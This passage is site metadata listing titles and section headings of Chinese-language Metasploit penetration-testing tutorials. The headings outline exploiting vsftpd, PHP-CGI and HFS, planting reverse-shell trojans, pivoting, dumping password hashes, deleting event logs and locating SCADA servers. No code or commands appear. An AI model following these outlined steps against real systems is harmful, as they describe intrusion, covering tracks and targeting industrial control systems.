冰河",tag:["hack","binghe-code-hack"],excerpt:"Meterpreter命令大全",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Meterpreter命令大全"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-023-Meterpreter%E5%91%BD%E4%BB%A4%E5%A4%A7%E5%85%A8.html"},{name:"twitter:title",content:"Meterpreter命令大全"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-023-Meterpreter%E5%91%BD%E4%BB%A4%E5%A4%A7%E5%85%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-023-Meterpreter%E5%91%BD%E4%BB%A4%E5%A4%A7%E5%85%A8.html",relativePath:"md/hack/tools/2022-04-17-023-Meterpreter命令大全.md",key:"v-7d232cda",path:"/md/hack/tools/2022-04-17-023-Meterpreter%E5%91%BD%E4%BB%A4%E5%A4%A7%E5%85%A8.html",headers:[{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit-Meterpreter-Shell信息收集相关的命令",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit-Meterpreter-Shell信息收集相关的命令",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit-Meterpreter-Shell信息收集相关的命令",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit-Meterpreter-Shell信息收集相关的命令"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-024-Metasploit-Meterpreter-Shell%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E7%9B%B8%E5%85%B3%E7%9A%84%E5%91%BD%E4%BB%A4.html"},{name:"twitter:title",content:"Metasploit-Meterpreter-Shell信息收集相关的命令"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-024-Metasploit-Meterpreter-Shell%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E7%9B%B8%E5%85%B3%E7%9A%84%E5%91%BD%E4%BB%A4.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-024-Metasploit-Meterpreter-Shell%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E7%9B%B8%E5%85%B3%E7%9A%84%E5%91%BD%E4%BB%A4.html",relativePath:"md/hack/tools/2022-04-17-024-Metasploit-Meterpreter-Shell信息收集相关的命令.md",key:"v-5013a328",path:"/md/hack/tools/2022-04-17-024-Metasploit-Meterpreter-Shell%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E7%9B%B8%E5%85%B3%E7%9A%84%E5%91%BD%E4%BB%A4.html",headers:[{level:2,title:"进程迁移",slug:"进程迁移"},{level:2,title:"系统命令",slug:"系统命令"},{level:2,title:"文件系统命令",slug:"文件系统命令"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"使用Metasploit编写绕过DEP渗透模块",frontmatter:{layout:"post",category:"binghe-code-hack",title:"使用Metasploit编写绕过DEP渗透模块",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"使用Metasploit编写绕过DEP渗透模块",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"使用Metasploit编写绕过DEP渗透模块"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-025-%E4%BD%BF%E7%94%A8Metasploit%E7%BC%96%E5%86%99%E7%BB%95%E8%BF%87DEP%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97.html"},{name:"twitter:title",content:"使用Metasploit编写绕过DEP渗透模块"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-025-%E4%BD%BF%E7%94%A8Metasploit%E7%BC%96%E5%86%99%E7%BB%95%E8%BF%87DEP%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-025-%E4%BD%BF%E7%94%A8Metasploit%E7%BC%96%E5%86%99%E7%BB%95%E8%BF%87DEP%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97.html",relativePath:"md/hack/tools/2022-04-17-025-使用Metasploit编写绕过DEP渗透模块.md",key:"v-bc525ed8",path:"/md/hack/tools/2022-04-17-025-%E4%BD%BF%E7%94%A8Metasploit%E7%BC%96%E5%86%99%E7%BB%95%E8%BF%87DEP%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97.html",headers:[{level:2,title:"将靶机设置DEP保护",slug:"将靶机设置dep保护"},{level:2,title:"开启Vlunserver监听",slug:"开启vlunserver监听"},{level:2,title:"开启ImmunityDebugger",slug:"开启immunitydebugger"},{level:2,title:"将Vulnserver进程加载到ImmunityDebugger",slug:"将vulnserver进程加载到immunitydebugger"},{level:2,title:"查找Vulnserver运行时加载的所有DLL信息",slug:"查找vulnserver运行时加载的所有dll信息"},{level:2,title:"将msvcrt.dll上传到Kali的/root目录下",slug:"将msvcrt-dll上传到kali的-root目录下"},{level:2,title:"查找ROP指令片段",slug:"查找rop指令片段"},{level:2,title:"创建ROP链",slug:"创建rop链"},{level:2,title:"编写绕过DEP的Metasploit模块脚本depattackby_binghe.rb",slug:"编写绕过dep的metasploit模块脚本dep-attack-by-binghe-rb"},{level:2,title:"上传脚本depattackby_binghe.rb",slug:"上传脚本dep-attack-by-binghe-rb"},{level:2,title:"关闭ImmunityDebugger重新启动Vulnserver",slug:"关闭immunitydebugger重新启动vulnserver"},{level:2,title:"在Kali上执行",slug:"在kali上执行"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit渗透php-utility-belt程序",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit渗透php-utility-belt程序",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit渗透php-utility-belt程序",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit渗透php-utility-belt程序"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-026-Metasploit%E6%B8%97%E9%80%8Fphp-utility-belt%E7%A8%8B%E5%BA%8F.html"},{name:"twitter:title",content:"Metasploit渗透php-utility-belt程序"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-026-Metasploit%E6%B8%97%E9%80%8Fphp-utility-belt%E7%A8%8B%E5%BA%8F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-026-Metasploit%E6%B8%97%E9%80%8Fphp-utility-belt%E7%A8%8B%E5%BA%8F.html",relativePath:"md/hack/tools/2022-04-17-026-Metasploit渗透php-utility-belt程序.md",key:"v-3f7b88d6",path:"/md/hack/tools/2022-04-17-026-Metasploit%E6%B8%97%E9%80%8Fphp-utility-belt%E7%A8%8B%E5%BA%8F.html",headers:[{level:2,title:"部署php-utility-belt",slug:"部署php-utility-belt"},{level:2,title:"构造并提交攻击脚本",slug:"构造并提交攻击脚本"},{level:2,title:"查看php-utility-belt下的文件",slug:"查看php-utility-belt下的文件"},{level:2,title:"访问info.php",slug:"访问info-php"},{level:2,title:"进一步分析php-utility-belt的漏洞",slug:"进一步分析php-utility-belt的漏洞"},{level:2,title:"编写攻击脚本phputilitybeltattackby_binghe.rb",slug:"编写攻击脚本php-utility-belt-attack-by-binghe-rb"},{level:2,title:"上传攻击脚本phputilitybeltattackby_binghe.rb",slug:"上传攻击脚本php-utility-belt-attack-by-binghe-rb"},{level:2,title:"运行攻击脚本phputilitybeltattackby_binghe.rb",slug:"运行攻击脚本php-utility-belt-attack-by-binghe-rb"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"内网IPC$入侵",frontmatter:{layout:"post",category:"binghe-code-hack",title:"内网IPC$入侵",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"内网IPC$入侵",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"内网IPC$入侵"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-027-%E5%86%85%E7%BD%91IPC$%E5%85%A5%E4%BE%B5.html"},{name:"twitter:title",content:"内网IPC$入侵"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-027-%E5%86%85%E7%BD%91IPC$%E5%85%A5%E4%BE%B5.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-027-%E5%86%85%E7%BD%91IPC$%E5%85%A5%E4%BE%B5.html",relativePath:"md/hack/tools/2022-04-17-027-内网IPC$入侵.md",key:"v-25d9a590",path:"/md/hack/tools/2022-04-17-027-%E5%86%85%E7%BD%91IPC$%E5%85%A5%E4%BE%B5.html",headers:[{level:2,title:"域操作相关的命令",slug:"域操作相关的命令"},{level:2,title:"IPC$入侵",slug:"ipc-入侵"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit渗透BSPlayer V2.68",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit渗透BSPlayer V2.68",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit渗透BSPlayer V2.68",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit渗透BSPlayer V2.68"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-028-Metasploit%E6%B8%97%E9%80%8FBSPlayerV2.68.html"},{name:"twitter:title",content:"Metasploit渗透BSPlayer V2.68"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-028-Metasploit%E6%B8%97%E9%80%8FBSPlayerV2.68.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-028-Metasploit%E6%B8%97%E9%80%8FBSPlayerV2.68.html",relativePath:"md/hack/tools/2022-04-17-028-Metasploit渗透BSPlayerV2.68.md",key:"v-0741b56a",path:"/md/hack/tools/2022-04-17-028-Metasploit%E6%B8%97%E9%80%8FBSPlayerV2.68.html",headers:[{level:2,title:"运行渗透脚本36477.py",slug:"运行渗透脚本36477-py"},{level:2,title:"安装并打开Bsplayer",slug:"安装并打开bsplayer"},{level:2,title:"分析36477.py脚本",slug:"分析36477-py脚本"},{level:2,title:"创建Metasploit渗透脚本bsplayerattackby_binghe.rb",slug:"创建metasploit渗透脚本bsplayer-attack-by-binghe-rb"},{level:2,title:"上传渗透脚本bsplayerattackby_binghe.rb",slug:"上传渗透脚本bsplayer-attack-by-binghe-rb"},{level:2,title:"运行渗透脚本bsplayerattackby_binghe.rb",slug:"运行渗透脚本bsplayer-attack-by-binghe-rb"},{level:2,title:"打开Bsplay并设置打开的URL",slug:"打开bsplay并设置打开的url"},{level:2,title:"查看Kali终端结果",slug:"查看kali终端结果"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit攻击VSFTPD2.3.4后门漏洞并渗透内网",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit攻击VSFTPD2.3.4后门漏洞并渗透内网",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit攻击VSFTPD2.3.4后门漏洞并渗透内网",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit攻击VSFTPD2.3.4后门漏洞并渗透内网"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-029-Metasploit%E6%94%BB%E5%87%BBVSFTPD2.3.4%E5%90%8E%E9%97%A8%E6%BC%8F%E6%B4%9E%E5%B9%B6%E6%B8%97%E9%80%8F%E5%86%85%E7%BD%91.html"},{name:"twitter:title",content:"Metasploit攻击VSFTPD2.3.4后门漏洞并渗透内网"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-029-Metasploit%E6%94%BB%E5%87%BBVSFTPD2.3.4%E5%90%8E%E9%97%A8%E6%BC%8F%E6%B4%9E%E5%B9%B6%E6%B8%97%E9%80%8F%E5%86%85%E7%BD%91.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-029-Metasploit%E6%94%BB%E5%87%BBVSFTPD2.3.4%E5%90%8E%E9%97%A8%E6%BC%8F%E6%B4%9E%E5%B9%B6%E6%B8%97%E9%80%8F%E5%86%85%E7%BD%91.html",relativePath:"md/hack/tools/2022-04-17-029-Metasploit攻击VSFTPD2.3.4后门漏洞并渗透内网.md",key:"v-3bf0dc5a",path:"/md/hack/tools/2022-04-17-029-Metasploit%E6%94%BB%E5%87%BBVSFTPD2.3.4%E5%90%8E%E9%97%A8%E6%BC%8F%E6%B4%9E%E5%B9%B6%E6%B8%97%E9%80%8F%E5%86%85%E7%BD%91.html",headers:[{level:2,title:"开启MSF",slug:"开启msf"},{level:2,title:"扫描指定主机的服务和端口",slug:"扫描指定主机的服务和端口"},{level:2,title:"列出在目标端口上运行的服务",slug:"列出在目标端口上运行的服务"},{level:2,title:"过滤服务只显示开启的服务",slug:"过滤服务只显示开启的服务"},{level:2,title:"列出数据库中所有的主机",slug:"列出数据库中所有的主机"},{level:2,title:"漏洞攻击",slug:"漏洞攻击"},{level:2,title:"生成反弹木马",slug:"生成反弹木马"},{level:2,title:"启动Kali上的Apache服务,并将backdoor.elf放置到服务器中",slug:"启动kali上的apache服务-并将backdoor-elf放置到服务器中"},{level:2,title:"在目标机上下载木马文件",slug:"在目标机上下载木马文件"},{level:2,title:"在新开启的终端上执行如下命令",slug:"在新开启的终端上执行如下命令"},{level:2,title:"在目标机上运行木马文件",slug:"在目标机上运行木马文件"},{level:2,title:"查看反弹的Meterpreter终端",slug:"查看反弹的meterpreter终端"},{level:2,title:"查看ARP内容",slug:"查看arp内容"},{level:2,title:"设置跳板",slug:"设置跳板"},{level:2,title:"将Meterpreter会话切换到后台",slug:"将meterpreter会话切换到后台"},{level:2,title:"对内网主机192.168.109.159进行端口扫描",slug:"对内网主机192-168-109-159进行端口扫描"},{level:2,title:"验证192.168.109.159 80端口运行的服务",slug:"验证192-168-109-159-80端口运行的服务"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit攻击PHP-CGI查询字符串参数漏洞并渗透内网",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit攻击PHP-CGI查询字符串参数漏洞并渗透内网",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit攻击PHP-CGI查询字符串参数漏洞并渗透内网",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit攻击PHP-CGI查询字符串参数漏洞并渗透内网"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-030-Metasploit%E6%94%BB%E5%87%BBPHP-CGI%E6%9F%A5%E8%AF%A2%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8F%82%E6%95%B0%E6%BC%8F%E6%B4%9E%E5%B9%B6%E6%B8%97%E9%80%8F%E5%86%85%E7%BD%91.html"},{name:"twitter:title",content:"Metasploit攻击PHP-CGI查询字符串参数漏洞并渗透内网"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-030-Metasploit%E6%94%BB%E5%87%BBPHP-CGI%E6%9F%A5%E8%AF%A2%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8F%82%E6%95%B0%E6%BC%8F%E6%B4%9E%E5%B9%B6%E6%B8%97%E9%80%8F%E5%86%85%E7%BD%91.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-030-Metasploit%E6%94%BB%E5%87%BBPHP-CGI%E6%9F%A5%E8%AF%A2%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8F%82%E6%95%B0%E6%BC%8F%E6%B4%9E%E5%B9%B6%E6%B8%97%E9%80%8F%E5%86%85%E7%BD%91.html",relativePath:"md/hack/tools/2022-04-17-030-Metasploit攻击PHP-CGI查询字符串参数漏洞并渗透内网.md",key:"v-2a9ee420",path:"/md/hack/tools/2022-04-17-030-Metasploit%E6%94%BB%E5%87%BBPHP-CGI%E6%9F%A5%E8%AF%A2%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8F%82%E6%95%B0%E6%BC%8F%E6%B4%9E%E5%B9%B6%E6%B8%97%E9%80%8F%E5%86%85%E7%BD%91.html",headers:[{level:2,title:"开启MSF",slug:"开启msf"},{level:2,title:"查找MSF中与CVE id 2012-1823漏洞匹配的模块",slug:"查找msf中与cve-id-2012-1823漏洞匹配的模块"},{level:2,title:"对漏洞进行渗透",slug:"对漏洞进行渗透"},{level:2,title:"生成木马文件",slug:"生成木马文件"},{level:2,title:"启动Kali上的Apache服务并将backdoor.elf放置到服务器中",slug:"启动kali上的apache服务并将backdoor-elf放置到服务器中"},{level:2,title:"在目标机上下载木马文件",slug:"在目标机上下载木马文件"},{level:2,title:"在新开启的终端上执行如下命令",slug:"在新开启的终端上执行如下命令"},{level:2,title:"在目标机上运行木马文件",slug:"在目标机上运行木马文件"},{level:2,title:"查看反弹的Meterpreter终端",slug:"查看反弹的meterpreter终端"},{level:2,title:"查看ARP内容",slug:"查看arp内容"},{level:2,title:"设置跳板",slug:"设置跳板"},{level:2,title:"将Meterpreter会话切换到后台",slug:"将meterpreter会话切换到后台"},{level:2,title:"内网主机192.168.109.141进行端口扫描",slug:"内网主机192-168-109-141进行端口扫描"},{level:2,title:"查看在80、8080端口上运行的服务",slug:"查看在80、8080端口上运行的服务"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit攻击HFS2.3上的漏洞",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit攻击HFS2.3上的漏洞",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit攻击HFS2.3上的漏洞",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit攻击HFS2.3上的漏洞"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-031-Metasploit%E6%94%BB%E5%87%BBHFS2.3%E4%B8%8A%E7%9A%84%E6%BC%8F%E6%B4%9E.html"},{name:"twitter:title",content:"Metasploit攻击HFS2.3上的漏洞"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-031-Metasploit%E6%94%BB%E5%87%BBHFS2.3%E4%B8%8A%E7%9A%84%E6%BC%8F%E6%B4%9E.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-031-Metasploit%E6%94%BB%E5%87%BBHFS2.3%E4%B8%8A%E7%9A%84%E6%BC%8F%E6%B4%9E.html",relativePath:"md/hack/tools/2022-04-17-031-Metasploit攻击HFS2.3上的漏洞.md",key:"v-097d90e2",path:"/md/hack/tools/2022-04-17-031-Metasploit%E6%94%BB%E5%87%BBHFS2.3%E4%B8%8A%E7%9A%84%E6%BC%8F%E6%B4%9E.html",headers:[{level:2,title:"开启MSF",slug:"开启msf"},{level:2,title:"渗透漏洞",slug:"渗透漏洞"},{level:2,title:"将权限提升为系统级",slug:"将权限提升为系统级"},{level:2,title:"查看系统进程和Meterpreter正在驻留的进程号",slug:"查看系统进程和meterpreter正在驻留的进程号"},{level:2,title:"绑定Meterpreter到其他进程",slug:"绑定meterpreter到其他进程"},{level:2,title:"收集系统密码的哈希值",slug:"收集系统密码的哈希值"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit访问控制的持久化",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit访问控制的持久化",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit访问控制的持久化",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit访问控制的持久化"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-032-Metasploit%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E7%9A%84%E6%8C%81%E4%B9%85%E5%8C%96.html"},{name:"twitter:title",content:"Metasploit访问控制的持久化"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-032-Metasploit%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E7%9A%84%E6%8C%81%E4%B9%85%E5%8C%96.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-032-Metasploit%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E7%9A%84%E6%8C%81%E4%B9%85%E5%8C%96.html",relativePath:"md/hack/tools/2022-04-17-032-Metasploit访问控制的持久化.md",key:"v-fc475b4c",path:"/md/hack/tools/2022-04-17-032-Metasploit%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E7%9A%84%E6%8C%81%E4%B9%85%E5%8C%96.html",headers:[{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit清除渗透痕迹",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit清除渗透痕迹",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit清除渗透痕迹",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit清除渗透痕迹"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-033-Metasploit%E6%B8%85%E9%99%A4%E6%B8%97%E9%80%8F%E7%97%95%E8%BF%B9.html"},{name:"twitter:title",content:"Metasploit清除渗透痕迹"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-033-Metasploit%E6%B8%85%E9%99%A4%E6%B8%97%E9%80%8F%E7%97%95%E8%BF%B9.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-033-Metasploit%E6%B8%85%E9%99%A4%E6%B8%97%E9%80%8F%E7%97%95%E8%BF%B9.html",relativePath:"md/hack/tools/2022-04-17-033-Metasploit清除渗透痕迹.md",key:"v-28d4d06a",path:"/md/hack/tools/2022-04-17-033-Metasploit%E6%B8%85%E9%99%A4%E6%B8%97%E9%80%8F%E7%97%95%E8%BF%B9.html",headers:[{level:2,title:"查看事件日志",slug:"查看事件日志"},{level:2,title:"删除事件日志",slug:"删除事件日志"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"利用Metasploit找出SCADA服务器",frontmatter:{layout:"post",category:"binghe-code-hack",title:"利用Metasploit找出SCADA服务器",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"利用Metasploit找出SCADA服务器",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"利用Metasploit找出SCADA服务器"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-034-%E5%88%A9%E7%94%A8Metasploit%E6%89%BE%E5%87%BASCADA%E6%9C%8D%E5%8A%A1%E5%99%A8.html"},{name:"twitter:title",content:"利用Metasploit找出SCADA服务器"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-034-%E5%88%A9%E7%94%A8Metasploit%E6%89%BE%E5%87%BASCADA%E6%9C%8D%E5%8A%A1%E5%99%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-034-%E5%88%A9%E7%94%A8Metasploit%E6%89%BE%E5%87%BASCADA%E6%9C%8D%E5%8A%A1%E5%99%A8.html",relativePath:"md/hack/tools/2022-04-17-034-利用Metasploit找出SCADA服务器.md",key:"v-10875ec9",path:"/md/hack/tools/2022-04-17-034-%E5%88%A9%E7%94%A8Metasploit%E6%89%BE%E5%87%BASCADA%E6%9C%8D%E5%8A%A1%E5%99%A8.html",headers:[{level:2,title:"注册账号",slug:"注册账号"},{level:2,title:"获取API Key",slug:"获取api-key"},{level:2,title:"在Metasploit中找出采用罗克韦尔自动化技术的SCADA系统",slug:"在metasploit中找出采用罗克韦尔自动化技术的scada系统"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"利用Metasploit渗透DATAC-RealWin-SCADA Server2.0",frontmatter:{layout:"post",category:"binghe-code-hack",title:"利用Metasploit渗透DATAC-RealWin-SCADA Server2.0",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"利用Metasploit渗透DATAC-RealWin-SCADA Server2.0",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"利用Metasploit渗透DATAC-RealWin-SCADA Server2.0"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-035-%E5%88%A9%E7%94%A8Metasploit%E6%B8%97%E9%80%8FDATAC-RealWin-SCADA%20Server2.0.html"},{name:"twitter:title",content:"利用Metasploit渗透DATAC-RealWin-SCADA Server2.0"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-035-%E5%88%A9%E7%94%A8Metasploit%E6%B8%97%E9%80%8FDATAC-RealWin-SCADA%20Server2.0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-035-%E5%88%A9%E7%94%A8Metasploit%E6%B8%97%E9%80%8FDATAC-RealWin-SCADA%20Server2.0.html",relativePath:"md/hack/tools/2022-04-17-035-利用Metasploit渗透DATAC-RealWin-SCADA Server2.0.md",key:"v-a9161274",path:"/md/hack/tools/2022-04-17-035-%E5%88%A9%E7%94%A8Metasploit%E6%B8%97%E9%80%8FDATAC-RealWin-SCADA%20Server2.0.html",headers:[{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"MSF-Meterpreter清理日志",frontmatter:{layout:"post",category:"binghe-code-hack",title:"MSF-Meterpreter清理日志",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"MSF-Meterpreter清理日志",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"MSF-Meterpreter清理日志"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-036-MSF-Meterpreter%E6%B8%85%E7%90%86%E6%97%A5%E5%BF%97.html"},{name:"twitter:title",content:"MSF-Meterpreter清理日志"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-036-MSF-Meterpreter%E6%B8%85%E7%90%86%E6%97%A5%E5%BF%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-036-MSF-Meterpreter%E6%B8%85%E7%90%86%E6%97%A5%E5%BF%97.html",relativePath:"md/hack/tools/2022-04-17-036-MSF-Meterpreter清理日志.md",key:"v-332d59c0",path:"/md/hack/tools/2022-04-17-036-MSF-Meterpreter%E6%B8%85%E7%90%86%E6%97%A5%E5%BF%97.html",headers:[{level:2,title:"删除之前添加的账号",slug:"删除之前添加的账号"},{level:2,title:"退出目标服务器的shell",slug:"退出目标服务器的shell"},{level:2,title:"删除日志",slug:"删除日志"},{level:2,title:"退出meterpreter shell",slug:"退出meterpreter-shell"},{level:2,title:"查看所有的MSF连接",slug:"查看所有的msf连接"},{level:2,title:"关闭所有的MSF链接",slug:"关闭所有的msf链接"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit自定义FTP扫描模块",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit自定义FTP扫描模块",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit自定义FTP扫描模块",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit自定义FTP扫描模块"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-037-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89FTP%E6%89%AB%E6%8F%8F%E6%A8%A1%E5%9D%97.html"},{name:"twitter:title",content:"Metasploit自定义FTP扫描模块"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-037-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89FTP%E6%89%AB%E6%8F%8F%E6%A8%A1%E5%9D%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-037-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89FTP%E6%89%AB%E6%8F%8F%E6%A8%A1%E5%9D%97.html",relativePath:"md/hack/tools/2022-04-17-037-Metasploit自定义FTP扫描模块.md",key:"v-a0f2adaa",path:"/md/hack/tools/2022-04-17-037-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89FTP%E6%89%AB%E6%8F%8F%E6%A8%A1%E5%9D%97.html",headers:[{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 